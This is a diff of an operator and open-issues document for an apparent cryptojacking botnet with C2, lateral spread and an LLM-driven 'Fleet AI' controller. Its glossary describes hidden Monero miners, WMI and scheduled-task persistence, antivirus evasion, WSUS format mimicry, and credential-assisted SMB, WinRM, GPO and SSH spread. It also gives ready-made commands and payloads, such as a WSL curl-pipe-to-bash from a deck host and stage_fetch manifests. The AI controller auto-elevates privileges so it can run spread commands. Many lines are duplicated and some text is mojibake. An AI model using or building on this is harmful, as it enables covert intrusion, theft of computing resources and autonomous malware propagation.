Open issues only. Fixed items removed. Last sweep: 2026-06-07.
Open issues only. Fixed items removed. Last sweep: 2026-06-07.
## No open code issues
## No open code issues
Automatable gaps are closed; remaining items below are by-design limits, architecture deferrals, or manual/live operator work. Regression tables and counts: Go server **797**, agent **612**, Vitest **791**, Playwright **25**— see `tests/README.md`.
Automatable gaps are closed; remaining items below are by-design limits, architecture deferrals, or manual/live operator work. Regression tables and counts: Go server **912**, agent **644**, Vitest **835**, Playwright **26**— see `tests/README.md`.
## By design / safety
## By design / safety
@@ -32,7 +32,7 @@ Automatable gaps are closed; remaining items below are by-design limits, archite
| Topic | Notes |
| Topic | Notes |
|-------|-------|
|-------|-------|
| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in `failed_methods[]` on stats WS (tested). 30s cooldown between full re-passes (`DefaultChainCooldown`, `RestartChain` clears). |
| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in `failed_methods[]` on stats WS (tested). 30s cooldown between full re-passes (`DefaultChainCooldown`, `RestartChain` clears). |
| **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. Forge shows worker-image build hint when auto/container selected. |
| **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. Forge shows worker-image build hint when auto/container selected. |
| **AV limits (honest)** | Containers are **not** invisible - AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. |
| **AV limits (honest)** | Containers are **not** invisible - AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. |
| **GPU in container** | Linux `--gpus all` stub only; Windows Docker Desktop GPU passthrough is operator-dependent. Host subprocess GPU path remains fallback. |
| **GPU in container** | Linux `--gpus all` stub only; Windows Docker Desktop GPU passthrough is operator-dependent. Host subprocess GPU path remains fallback. |
@@ -64,13 +64,24 @@ Automatable gaps are closed; remaining items below are by-design limits, archite
| **Terminal virtualization** | 400-line DOM cap only; full virtual scrollback deferred. |
| **Terminal virtualization** | 400-line DOM cap only; full virtual scrollback deferred. |
| **Vite chunk weight** | `three` + vendor warnings; FleetTopologyMap lazy but heavy first open. |
| **Vite chunk weight** | `three` + vendor warnings; FleetTopologyMap lazy but heavy first open. |
## AWS cloud features (honest operator scope)
| Area | Notes |
|------|-------|
| **S3 + CloudFront erasure swarm** | Deploy plans can upload RS 4+2 shards when `AF_AWS_*` / `AF_CLOUDFRONT_*` env creds and Calibrate bucket/domain are set. **Test connection** and IAM/bucket policy JSON are local-only (no AWS API from the server except optional S3 HeadBucket when creds present). |
| **SSM `ssm_document` spread lane** | Emberwake SSM panel exports document + run-command CLI for owned EC2; agents execute curl against your deck. Requires operator AWS CLI + IAM on instances (managed instance profile). |
| **Launch Template strain genesis** | Crucible/forge exports `launch-template.json`, `user-data.sh`, ASG example for horizontal EC2 genesis auth (`join_lane=launch_template`). Operator applies in their AWS account. |
| **Policy snapshot / EventBridge fan-out** | Public `policy-snapshot/{token}` + fan-out ZIP for degraded agents; relay URL is operator-deployed Lambda/EventBridge—server does not call AWS APIs. |
| **Live AWS validation** | Full gate needs operator IAM (`s3:PutObject`, CloudFront signing keys, SSM SendCommand on fleet). CI/automation covers mocks; no shared AWS account in repo. |
## Manual / live / honest partial
## Manual / live / honest partial
| Item | Notes |
| Item | Notes |
|------|-------|
|------|-------|
| **Erasure-coded multi-lane propagation** | **Partial foundation** — server `internal/erasure/` RS 4+2 + shard API; deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails. **Fleet Torrent (partial):**`fleet_torrent_enabled` adds shard DHT gossip, primary seeder election, BGP swarm magnets, and C2 torrent manifest — **not shipped:** live peer HTTP shard serving on agents, UDP/magnet tracker, or erasure-first spread E2E. **AWS Erasure Swarm (partial):** operator `aws_s3_shard_bucket` + `aws_cloudfront_domain` + `AF_AWS_*` / `AF_CLOUDFRONT_*` env; deploy plans upload shards + signed `edge_url` / `xs=` magnets; agents prefer LAN → CloudFront → C2 — **not shipped:** live S3/CloudFront E2E without real operator creds or automated distribution provisioning. |
| **Onion contingency miner (partial)** | **Partial** — when `ai_control_enabled`, auth pushes `contingency_policy`; agent `ContingencyTreeRunner` walks `inprocess`→`container`→`gpu_subprocess`→`idle_tune`→`self_surgery` with local persona ghost forks (no lateral spread); each hop ships `onion_miner_log` WS + Seer; server `ContingencyOrchestrator` freezes winners and pushes `contingency_branch_params` from graft **mining** genome (not spread tiers) on exhaustion; hospice retires strain after 12 cycles; operator `pause` stops tree. Crucible **ONION N** badge. **Not shipped:** live LLM court invoke on every exhaust tick (deterministic compose today). |
| **P2 remaining (manual only)** | Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab on remote owned hosts; live BITS/curl against non-mock C2; live multi-hop discover→spread without Playwright stub; live TLS/mesh beacon; full `wg_setup` on real Windows hosts. |
**Current counts (2026-06-07):** Go server **797**`Test*` · Go agent **612**`Test*` · Vitest **791** tests in **95** files · Playwright **25** tests in **8** spec files. Refresh: `go test ./... -list .` (server/agent), `npm run test -- --run` (Vitest), `npx playwright test --list` (E2E). Full suite: `test.bat`→`scripts/test-suite.ps1`.
**Current counts (2026-06-07):** Go server **912**`Test*`· Go agent **644**`Test*`· Vitest **835** tests in **95** files · Playwright **26** tests in **8** spec files. Refresh: `go test ./... -list .` (server/agent), `npm run test -- --run` (Vitest), `npx playwright test --list` (E2E). Full suite: `test.bat`→`scripts/test-suite.ps1`.
## Master validation (operator commands)
## Master validation (operator commands)
PROBLEMS.md `Test gaps / noise` defers here — use the tables below for P1, fleet evolution, and P2 coverage.
PROBLEMS.md `Test gaps / noise` defers here — use the tables below for P1, fleet evolution, and P2 coverage.
After parallel agent landings, run from repo root:
After parallel agent landings, run from repo root:
| Gate | Command | Phases |
| Gate | Command | Phases |
|------|---------|--------|
|------|---------|--------|
| **Full gate** | `.\scripts\test-suite.ps1` | 1–8 (Go server, Go agent, fusion, Vitest, builds, Playwright on `:18989`) |
| **Full gate** | `.\scripts\test-suite.ps1` | 1–8 (Go server, Go agent, fusion, Vitest, builds, Playwright on `:18989`) |
**Portable USB:**`pack-usb.bat` from repo root → copy `usb\` to a drive →`LAUNCH.bat` (opens `http://localhost:8989/`; `/agents` redirects to `/crucible` in the SPA).
**Portable USB:**`pack-usb.bat` from repo root → copy `usb\` to a drive →`LAUNCH.bat` (opens `http://localhost:8989/`; `/agents` redirects to `/crucible` in the SPA).
## Fleet evolution master checklist (2026-06-07)
## Fleet evolution master checklist (2026-06-07)
Windows dashboard only; no in-process cloudflared. Genealogy fields are **telemetry on auth/stats only** — they never gate `fleet_secret` or block agent registration.
Windows dashboard only; no in-process cloudflared. Genealogy fields are **telemetry on auth/stats only** they never gate `fleet_secret` or block agent registration.
| Feature | Where | Regression (quick) |
| Feature | Where | Regression (quick) |
|---------|--------|-------------------|
|---------|--------|-------------------|
@@ -63,8 +63,7 @@ Windows dashboard only; no in-process cloudflared. Genealogy fields are **teleme
| 8 | E2E smoke (Playwright) | `server/web/e2e/` — starts temp server on :18989 |
| 8 | E2E smoke (Playwright) | `server/web/e2e/` starts temp server on :18989 |
Phases 5–7 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-SkipE2E`.
Phases 5–7 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-SkipE2E`.
`-ReconOnly` runs the fleet recon subset (vuln/CVE, cred graph, service graph, triple-onion gates, network hints, Path Tracer discover, recon UI Vitest) and exits — useful after parallel agent landings.
`-ReconOnly` runs the fleet recon subset (vuln/CVE, cred graph, service graph, triple-onion gates, network hints, Path Tracer discover, recon UI Vitest) and exits  useful after parallel agent landings.
## Operator quick start (LOTL + fleet recon)
## Operator quick start (LOTL + fleet recon)
1.**Forge with LOTL Onion** — Forge → Operation mode →**LOTL Onion** (in-process RandomX, native-tool spread chain). Set your **XMR wallet** and forge once. With `lotl_policy_from_server` on (preset default), tier order comes from Calibrate `server.lotl_onion_tiers` on agent auth —**re-forge only when changing wallet, build, or preset flags**, not to reorder tiers. See [LOTL vector glossary](#lotl-vector-glossary) for every tier definition + example.
1.**Forge with LOTL Onion** Forge → Operation mode →**LOTL Onion** (in-process RandomX, native-tool spread chain). Set your **XMR wallet** and forge once. With `lotl_policy_from_server` on (preset default), tier order comes from Calibrate `server.lotl_onion_tiers` on agent auth â€â€**re-forge only when changing wallet, build, or preset flags**, not to reorder tiers. See [LOTL vector glossary](#lotl-vector-glossary) for every tier definition + example.
2.**Probe & Join** — Crucible → select online node(s) →**Probe & Join** (`discover_and_join`). Agent runs service discovery, server signs a deploy plan, and the best LOTL lane executes. Risk/join-lane badges update on the next stats tick. See glossary rows: `discover_and_join`, `join_lane`, `service_discover`.
2.**Probe & Join** Crucible → select online node(s) →**Probe & Join** (`discover_and_join`). Agent runs service discovery, server signs a deploy plan, and the best LOTL lane executes. Risk/join-lane badges update on the next stats tick. See glossary rows: `discover_and_join`, `join_lane`, `service_discover`.
3.**Deployment credentials vault** — For cred-assisted spread (`spread_cred`, SMB/WinRM lanes), add profiles to `data/config.json`:
3.**Deployment credentials vault** For cred-assisted spread (`spread_cred`, SMB/WinRM lanes), add profiles to `data/config.json`:
**Seeders** (`fleet_role=seeder`, `seeder_mode` baked at forge) skip the RandomX mining chain and run **dns_txt / webrtc_mesh / do_peer** staging lanes only (`defer_mining` semantics). **Miners** hash normally and may pull payloads from the nearest LAN seeder via existing webrtc/do_peer paths (`lan_seeders` on auth when `server.fleet_roles_enabled`).
**Seeders** (`fleet_role=seeder`, `seeder_mode` baked at forge) skip the RandomX mining chain and run **dns_txt / webrtc_mesh / do_peer** staging lanes only (`defer_mining` semantics). **Miners** hash normally and may pull payloads from the nearest LAN seeder via existing webrtc/do_peer paths (`lan_seeders` on auth when `server.fleet_roles_enabled`).
**Telemetry:** agents report `fleet_role`, `seed_pressure` (0–1), and `hashrate_pressure` on stats WS; the server ingests `emberwake_heat` for war-room heat maps (`server/internal/strategy/fleet_role.go`).
**Telemetry:** agents report `fleet_role`, `seed_pressure` (0–1), and `hashrate_pressure` on stats WS; the server ingests `emberwake_heat` for war-room heat maps (`server/internal/strategy/fleet_role.go`).
cd agent && go test ./config/... ./deploy/... ./client/... -run "Fleet|Seeder|SeedPressure|LANSeeder" -count=1
cd agent && go test ./config/... ./deploy/... ./client/... -run "Fleet|Seeder|SeedPressure|LANSeeder" -count=1
@@ -152,13 +151,13 @@ cd server\web && npm run test -- --run src/help/warRoomTelemetry.ts src/pages/Bu
## Adaptive Strategy
## Adaptive Strategy
The server **adaptive strategy engine** (`server/internal/strategy/`) learns from your fleet only: OS fingerprint, Docker/WSL/GPU probes, subnet, `lotl_attempts`, and `mining_hashrate`. On agent auth it pushes `adaptive_strategy` with a personalized `tier_order`, optional `skip_tiers`, and a human-readable `strategy_reasoning[]` trace (weighted scoring — not a black-box LLM). Background rescoring runs every 5 minutes from `stats_batch` / `tier_report` ingestion into SQLite `tier_outcomes`. Adaptive overrides **order and skip hints** only; it does not change wallet, `patch_first`, or other triple-onion gates. Disable via Calibrate `server.adaptive_strategy_enabled` (default `true`). Manual refresh: `POST /api/v1/strategy/recompute`. Crucible **Access Depth → Strategy** shows reasoning bullets and an **Adaptive** badge when the server order differs from default.
The server **adaptive strategy engine** (`server/internal/strategy/`) learns from your fleet only: OS fingerprint, Docker/WSL/GPU probes, subnet, `lotl_attempts`, and `mining_hashrate`. On agent auth it pushes `adaptive_strategy` with a personalized `tier_order`, optional `skip_tiers`, and a human-readable `strategy_reasoning[]` trace (weighted scoring  not a black-box LLM). Background rescoring runs every 5 minutes from `stats_batch` / `tier_report` ingestion into SQLite `tier_outcomes`. Adaptive overrides **order and skip hints** only; it does not change wallet, `patch_first`, or other triple-onion gates. Disable via Calibrate `server.adaptive_strategy_enabled` (default `true`). Manual refresh: `POST /api/v1/strategy/recompute`. Crucible **Access Depth → Strategy** shows reasoning bullets and an **Adaptive** badge when the server order differs from default.
Regression: `go test ./internal/strategy/... ./internal/api/ -run Adaptive` (server) and Vitest `AccessDepthPanel.test.tsx`.
Regression: `go test ./internal/strategy/... ./internal/api/ -run Adaptive` (server) and Vitest `AccessDepthPanel.test.tsx`.
## Phenotype cloning
## Phenotype cloning
When an agent reports a winning spread+mining path, the server upserts a **fleet phenotype** keyed by host fingerprint. Sibling agents receive `inherited_phenotype` on auth — tier order and spread lane clone without re-forge.
When an agent reports a winning spread+mining path, the server upserts a **fleet phenotype** keyed by host fingerprint. Sibling agents receive `inherited_phenotype` on auth  tier order and spread lane clone without re-forge.
**Auth tier-plan precedence:** inherited phenotype (SQLite fleet winner) **>** genetic breed (crossover of two lane-specific winners for the same fingerprint) **>** adaptive strategy.
**Auth tier-plan precedence:** inherited phenotype (SQLite fleet winner) **>** genetic breed (crossover of two lane-specific winners for the same fingerprint) **>** adaptive strategy.
@@ -191,19 +190,19 @@ When AI Control is on and a host is stuck (zero hashrate + exhausted chain or al
cd server && go test ./internal/ai/... ./internal/api/... -run "CourtChamber|CourtDebate|IntegrationCourtStuck" -count=1
cd server && go test ./internal/ai/... ./internal/api/... -run "CourtChamber|CourtDebate|IntegrationCourtStuck" -count=1
```
```
## Clearance L0–L4
## Clearance L0–L4
Agents receive session clearance on auth (L0 stats → L4 forge). Fleet AI and remote actions enforce minimum levels. With `ai_auto_elevate_clearance`, stuck hosts auto-elevate to L4 so court-ordered commands can execute. Events broadcast as `clearance_elevated` on dashboard WS.
Agents receive session clearance on auth (L0 stats → L4 forge). Fleet AI and remote actions enforce minimum levels. With `ai_auto_elevate_clearance`, stuck hosts auto-elevate to L4 so court-ordered commands can execute. Events broadcast as `clearance_elevated` on dashboard WS.
## Fleet AI Control
## Fleet AI Control
Calibrate → **Calibration Control** toggles `server.ai_control_enabled`. When **on**, the server **Fleet AI scheduler** (`server/internal/ai/`) polls connected agents on `ai_decision_interval_sec` (default 60s), builds snapshots from WS + DB state, calls a local OpenAI-compatible endpoint (`ai_endpoint`, default `http://127.0.0.1:11434/v1`), parses `commands[]` from the model response, and dispatches fleet actions (`restart_mining`, `discover_and_join`, `spread_now`, `agent_command`, etc.). Decisions are stored in SQLite `ai_decisions` and surfaced on **LOTL Timeline** when AI control is enabled.
Calibrate → **Calibration Control** toggles `server.ai_control_enabled`. When **on**, the server **Fleet AI scheduler** (`server/internal/ai/`) polls connected agents on `ai_decision_interval_sec` (default 60s), builds snapshots from WS + DB state, calls a local OpenAI-compatible endpoint (`ai_endpoint`, default `http://127.0.0.1:11434/v1`), parses `commands[]` from the model response, and dispatches fleet actions (`restart_mining`, `discover_and_join`, `spread_now`, `agent_command`, etc.). Decisions are stored in SQLite `ai_decisions` and surfaced on **LOTL Timeline** when AI control is enabled.
**Precedence:** `ai_control_enabled: true` **replaces** adaptive strategy for tier-order decisions — auth omits `adaptive_strategy`, background rescoring no-ops, and `FleetAISnapshot` skips adaptive reasoning. Adaptive strategy resumes when AI control is turned off.
**Precedence:** `ai_control_enabled: true` **replaces** adaptive strategy for tier-order decisions  auth omits `adaptive_strategy`, background rescoring no-ops, and `FleetAISnapshot` skips adaptive reasoning. Adaptive strategy resumes when AI control is turned off.
@@ -312,14 +311,14 @@ cd server && go test ./internal/atlas/... ./internal/db/... ./internal/api/... -
### Fleet AI gaps
### Fleet AI gaps
- **Live Ollama / vLLM inference** — scheduler uses `DecideFunc` inject in unit tests; no CI container with a real model.
- **Live Ollama / vLLM inference**  scheduler uses `DecideFunc` inject in unit tests; no CI container with a real model.
- **Full scheduler E2E** — one mocked `Tick()` cycle covered; no multi-agent parallel decision race test.
- **Full scheduler E2E**  one mocked `Tick()` cycle covered; no multi-agent parallel decision race test.
- **Court session UI** — Go + Vitest cover prosecutor/defender/judge in `LotlTimelinePage.test.tsx`; no Playwright path yet.
- **Court session UI**  Go + Vitest cover prosecutor/defender/judge in `LotlTimelinePage.test.tsx`; no Playwright path yet.
- **Real `full_sys_check` syscheck bundle** — handler test stubs `CollectFullSysCheck`; live subnet scan / `systeminfo` not exercised in CI.
- **Real `full_sys_check` syscheck bundle**  handler test stubs `CollectFullSysCheck`; live subnet scan / `systeminfo` not exercised in CI.
## LOTL architecture (triple onion)
## LOTL architecture (triple onion)
The **triple onion** chains three phases on every agent connect (when enabled): **recon → deploy → mining**. Policy gates (`patch_first`, `skip_mining_on_high_risk`) can defer deploy or mining when `vuln_findings` exceed thresholds.
The **triple onion** chains three phases on every agent connect (when enabled): **recon → deploy → mining**. Policy gates (`patch_first`, `skip_mining_on_high_risk`) can defer deploy or mining when `vuln_findings` exceed thresholds.
```mermaid
```mermaid
flowchart TB
flowchart TB
@@ -415,17 +414,17 @@ Every term below has a plain-language definition and a copy-pasteable example (C
| Term | Definition | Example |
| Term | Definition | Example |
|------|------------|---------|
|------|------------|---------|
| `vuln_recon` | Read-only KEV/CVE/service probe run as a recon tier before deploy or mining; populates `vuln_findings` and risk score. No exploit payloads. | Triple-onion `recon_tiers` includes `vuln_recon`; or Crucible `full_sys_check` → `vuln_findings` in `stats_batch`. |
| `vuln_recon` | Read-only KEV/CVE/service probe run as a recon tier before deploy or mining; populates `vuln_findings` and risk score. No exploit payloads. | Triple-onion `recon_tiers` includes `vuln_recon`; or Crucible `full_sys_check` → `vuln_findings` in `stats_batch`. |
| `exe_subprocess` | Default path: launch XMRig (or forged worker) as a hidden child process on the host. | Forge default `miner_execution=subprocess`; diagnostics chain tries `exe_subprocess` first unless AV blocks exe. |
| `exe_subprocess` | Default path: launch XMRig (or forged worker) as a hidden child process on the host. | Forge default `miner_execution=subprocess`; diagnostics chain tries `exe_subprocess` first unless AV blocks exe. |
| `docker_load` | Load a pre-built OCI image tar (`docker load -i`) and run RandomX inside with read-only rootfs — no registry pull. | Requires `image_tar_url` in forge policy; mining tier `docker_load` when Docker detected + tar policy set. |
| `docker_load` | Load a pre-built OCI image tar (`docker load -i`) and run RandomX inside with read-only rootfs  no registry pull. | Requires `image_tar_url` in forge policy; mining tier `docker_load` when Docker detected + tar policy set. |
| `container` | Run worker inside Docker/Podman from a pulled or local image — host RandomX paused while container mines. | `miner_execution=container` at forge; chain order: `container` after `docker_load` probe passes. |
| `container` | Run worker inside Docker/Podman from a pulled or local image  host RandomX paused while container mines. | `miner_execution=container` at forge; chain order: `container` after `docker_load` probe passes. |
| `wsl` | Mine or bootstrap via WSL — Linux curl\|bash or in-WSL RandomX when native Windows path is blocked. | `wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=ID \| bash"` when WSL is installed. |
| `wsl` | Mine or bootstrap via WSL  Linux curl\|bash or in-WSL RandomX when native Windows path is blocked. | `wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=ID \| bash"` when WSL is installed. |
| `powershell` / `ps_inmemory` | PowerShell in-memory or hidden-window miner bootstrap — no standalone unsigned exe on disk. | `miner_execution=powershell`; encoded `install.ps1` from `GET /install.ps1?pin=`. |
| `powershell` / `ps_inmemory` | PowerShell in-memory or hidden-window miner bootstrap  no standalone unsigned exe on disk. | `miner_execution=powershell`; encoded `install.ps1` from `GET /install.ps1?pin=`. |
| `dotnet` | Bootstrap through .NET CLI (`dotnet tool run`) instead of dropping a raw miner exe. | Forge `miner_execution=dotnet`; spread lane `dotnet` in `lotl_onion_tiers`. |
| `dotnet` | Bootstrap through .NET CLI (`dotnet tool run`) instead of dropping a raw miner exe. | Forge `miner_execution=dotnet`; spread lane `dotnet` in `lotl_onion_tiers`. |
| `cpu_inprocess` | RandomX via embedded `go-randomx` inside the agent process — AV-Safe / LOTL Onion default terminal CPU tier. | Forge Operation mode **LOTL Onion** or `miner_execution=inprocess`; active tier shows `cpu_inprocess` in Crucible badge. |
| `cpu_inprocess` | RandomX via embedded `go-randomx` inside the agent process  AV-Safe / LOTL Onion default terminal CPU tier. | Forge Operation mode **LOTL Onion** or `miner_execution=inprocess`; active tier shows `cpu_inprocess` in Crucible badge. |
| `wmi` | Windows WMI event subscription persistence + hidden miner launch via LOLBins. | Mining tier `wmi` in `DefaultWindowsTierOrder()`; attempted when prior tiers fail on Windows. |
| `wmi` | Windows WMI event subscription persistence + hidden miner launch via LOLBins. | Mining tier `wmi` in `DefaultWindowsTierOrder()`; attempted when prior tiers fail on Windows. |
| `scheduled_task` | `schtasks` / Task Scheduler hidden miner job — no interactive installer. | Mining tier `scheduled_task`; follows `wmi` in Windows tier slice. |
| `scheduled_task` | `schtasks` / Task Scheduler hidden miner job  no interactive installer. | Mining tier `scheduled_task`; follows `wmi` in Windows tier slice. |
| `webview2_probe` | Probe WebView2/WebGPU availability before escalating to GPU subprocess — gates `gpu_subprocess`. | Tier `webview2_probe`; skips GPU escalation when WebGPU not exposed. |
| `webview2_probe` | Probe WebView2/WebGPU availability before escalating to GPU subprocess  gates `gpu_subprocess`. | Tier `webview2_probe`; skips GPU escalation when WebGPU not exposed. |
| `gpu_compute` | CUDA or HLSL compute-kernel path for GPU hashing before external miner binaries. | Tier `gpu_compute`; probes CUDA/HLSL then may fall through to `gpu_subprocess`. |
| `gpu_compute` | CUDA or HLSL compute-kernel path for GPU hashing before external miner binaries. | Tier `gpu_compute`; probes CUDA/HLSL then may fall through to `gpu_subprocess`. |
| `stratum_direct` | Agent mines directly to pool Stratum when C2 proxy is down or tier chain exhausts in-process paths. | `stratum_egress=direct` in stats; fallback after 30s C2 outage or terminal chain tier. |
| `stratum_direct` | Agent mines directly to pool Stratum when C2 proxy is down or tier chain exhausts in-process paths. | `stratum_egress=direct` in stats; fallback after 30s C2 outage or terminal chain tier. |
@@ -435,35 +434,35 @@ Every term below has a plain-language definition and a copy-pasteable example (C
| Term | Definition | Example |
| Term | Definition | Example |
|------|------------|---------|
|------|------------|---------|
| `bits_curl` | Stage payload with BITS (`bitsadmin`) or `curl.exe`; optional `certutil -decode` + SHA256 verify. | `stage_fetch` manifest `{"method":"bits",…}` or CCMEXEC service → `bits_curl` join lane. |
| `bits_curl` | Stage payload with BITS (`bitsadmin`) or `curl.exe`; optional `certutil -decode` + SHA256 verify. | `stage_fetch` manifest `{"method":"bits",…}` or CCMEXEC service → `bits_curl` join lane. |
| `do_peer` | Shadow Cache Handoff — DoSvc + BITS peer-style chunk staging on LAN; hash-verified assembly, rundll32/BITS launch. | `DoSvc` running → `join_lane_candidate: do_peer`; signed deploy plan with `peer_group`, `--defer-mining`. |
| `do_peer` | Shadow Cache Handoff  DoSvc + BITS peer-style chunk staging on LAN; hash-verified assembly, rundll32/BITS launch. | `DoSvc` running → `join_lane_candidate: do_peer`; signed deploy plan with `peer_group`, `--defer-mining`. |
| `wsus_cache_peer` | WSUS offline cache cousin — stages beside `SoftwareDistribution\Download`; Wuauserv/AU probe; hash verify + defer_mining launch. Forge `wsus_format_mimic` (default ON) wraps chunks as `*.cab.partial` with SSU/CAB-like headers — format mimicry, not packing; `lotl_attempts` unchanged. | `Wuauserv` running → `join_lane: wsus_cache_peer` (allowlist priority after `do_peer`). |
| `wsus_cache_peer` | WSUS offline cache cousin  stages beside `SoftwareDistribution\Download`; Wuauserv/AU probe; hash verify + defer_mining launch. Forge `wsus_format_mimic` (default ON) wraps chunks as `*.cab.partial` with SSU/CAB-like headers  format mimicry, not packing; `lotl_attempts` unchanged. | `Wuauserv` running → `join_lane: wsus_cache_peer` (allowlist priority after `do_peer`). |
| `dns_txt` | DNS TXT mesh — `_aether.<zone>` shards via nslookup/Resolve-DnsName; TTL policy refresh; embedded chunk API for tests. | `_aether` TXT present → `join_lane: dns_txt`; Forge `dns_txt_spread` default ON. |
| `dns_txt` | DNS TXT mesh  `_aether.<zone>` shards via nslookup/Resolve-DnsName; TTL policy refresh; embedded chunk API for tests. | `_aether` TXT present → `join_lane: dns_txt`; Forge `dns_txt_spread` default ON. |
| `webrtc_mesh` | WebRTC LAN seed — subnet seeder, manifest over data channel (STUN + WS relay); LAN HTTP fallback stub in tests. | Forge `webrtc_mesh_spread` default OFF; `webrtc_mesh_policy` 24h seeder rotation. |
| `webrtc_mesh` | WebRTC LAN seed  subnet seeder, manifest over data channel (STUN + WS relay); LAN HTTP fallback stub in tests. | Forge `webrtc_mesh_spread` default OFF; `webrtc_mesh_policy` 24h seeder rotation. |
| `smb` / `spread_smb_unc` | Lateral via SMB admin share + SCM (`sc.exe create/start`) pointing at a UNC worker path — no PsExec. | `{"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"}` |
| `smb` / `spread_smb_unc` | Lateral via SMB admin share + SCM (`sc.exe create/start`) pointing at a UNC worker path  no PsExec. | `{"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"}` |
| `winrm` | PS remoting lateral when ports 5985/5986 respond. | `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`; autospread when `winrm_spread` forge flag set. |
| `winrm` | PS remoting lateral when ports 5985/5986 respond. | `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`; autospread when `winrm_spread` forge flag set. |
| `linux` / `linux_lotl` | SSH/SCP lateral on Unix with optional systemd-run or crontab LOTL persistence. | `{"template":"linux-lotl","lotl_mode":"both"}`; `sshd` service → `linux_lotl` join lane. |
| `linux` / `linux_lotl` | SSH/SCP lateral on Unix with optional systemd-run or crontab LOTL persistence. | `{"template":"linux-lotl","lotl_mode":"both"}`; `sshd` service → `linux_lotl` join lane. |
| `gpo` | AD Group Policy startup script fetches worker on domain boot. | Export `{"template":"gpo"}` → `gpo-startup.ps1` in GPO Scripts → Startup. |
| `gpo` | AD Group Policy startup script fetches worker on domain boot. | Export `{"template":"gpo"}` → `gpo-startup.ps1` in GPO Scripts → Startup. |
| `stage_fetch` | C2 sends a staging manifest; agent downloads chunks, verifies hash, launches via exe or `rundll32`. | `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[…],\"sha256\":\"…\",\"dest\":\"%TEMP%\\\\w.exe\",\"launch\":\"exe\"}"}` |
| `stage_fetch` | C2 sends a staging manifest; agent downloads chunks, verifies hash, launches via exe or `rundll32`. | `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[…],\"sha256\":\"…\",\"dest\":\"%TEMP%\\\\w.exe\",\"launch\":\"exe\"}"}` |
| `discover_and_join` | Crucible **Probe & Join**: service discovery → server deploy plan → best LOTL lane executes. | Crucible → **Probe & Join** → `discover_and_join` command to selected online nodes. |
| `discover_and_join` | Crucible **Probe & Join**: service discovery → server deploy plan → best LOTL lane executes. | Crucible → **Probe & Join** → `discover_and_join` command to selected online nodes. |
| `network_recon` | Passive egress recon (ARP, DNS SRV, cert hints) for Path Tracer graph enrichment. | Path Tracer session auto-dispatches `network_recon` on egress hop; populates `network_hints`. |
| `network_recon` | Passive egress recon (ARP, DNS SRV, cert hints) for Path Tracer graph enrichment. | Path Tracer session auto-dispatches `network_recon` on egress hop; populates `network_hints`. |
| `service_discover` | Enumerate local + LAN services/ports; feeds `service_graph` and `join_lane_candidate`. | `{"action":"service_discover"}`; Path Tracer merges hop results into `service_graph` API. |
| `service_discover` | Enumerate local + LAN services/ports; feeds `service_graph` and `join_lane_candidate`. | `{"action":"service_discover"}`; Path Tracer merges hop results into `service_graph` API. |
| `spread_route` / `spread_route_hint` | BGP-style minimum-clearance spread routing — server picks best seed hop per target subnet from Path Tracer sessions, clearance, lane success, latency. | `POST /api/v1/pathtrace/spread-route` `{"session_id":"…","target_subnets":["10.1.2"],"join_lane":"do_peer"}`; deploy plans include `spread_route_hint` when a better egress exists than patient zero. |
| `spread_route` / `spread_route_hint` | BGP-style minimum-clearance spread routing  server picks best seed hop per target subnet from Path Tracer sessions, clearance, lane success, latency. | `POST /api/v1/pathtrace/spread-route` `{"session_id":"…","target_subnets":["10.1.2"],"join_lane":"do_peer"}`; deploy plans include `spread_route_hint` when a better egress exists than patient zero. |
### Fleet recon
### Fleet recon
| Term | Definition | Example |
| Term | Definition | Example |
|------|------------|---------|
|------|------------|---------|
| `vuln_findings` | Array of CVE/KEV findings from agent probes — severity, patched status, fleet-context exploitability. | WS `stats_batch` field `vuln_findings`; drives Crucible `RiskBadge`. |
| `vuln_findings` | Array of CVE/KEV findings from agent probes  severity, patched status, fleet-context exploitability. | WS `stats_batch` field `vuln_findings`; drives Crucible `RiskBadge`. |
| `cred_edges` | SQLite rows recording cred-assisted spread attempts per host/subnet/profile for affinity ordering. | `spread_cred` success inserts into `cred_edges`; Emberwake credential graph reads aggregated rows. |
| `cred_edges` | SQLite rows recording cred-assisted spread attempts per host/subnet/profile for affinity ordering. | `spread_cred` success inserts into `cred_edges`; Emberwake credential graph reads aggregated rows. |
| `credential graph` | UI table of cred spread edges grouped by /24 — shows which deployment profiles succeeded where. | Crucible → Spread tab → Credential Graph (`CredentialGraphTable`). |
| `service_graph` | Merged service discovery per host IP — running services, ports, `join_lane_candidate`. | Crucible → Service Graph panel; API `GET /api/v1/pathtrace/service-graph`. |
| `service_graph` | Merged service discovery per host IP  running services, ports, `join_lane_candidate`. | Crucible → Service Graph panel; API `GET /api/v1/pathtrace/service-graph`. |
| `network_hints` | Passive LAN hints (ARP neighbours, DNS SRV, cert SANs) attached to agent stats. | `network_recon` command output merged into `network_hints` on Path Tracer egress hop. |
| `network_hints` | Passive LAN hints (ARP neighbours, DNS SRV, cert SANs) attached to agent stats. | `network_recon` command output merged into `network_hints` on Path Tracer egress hop. |
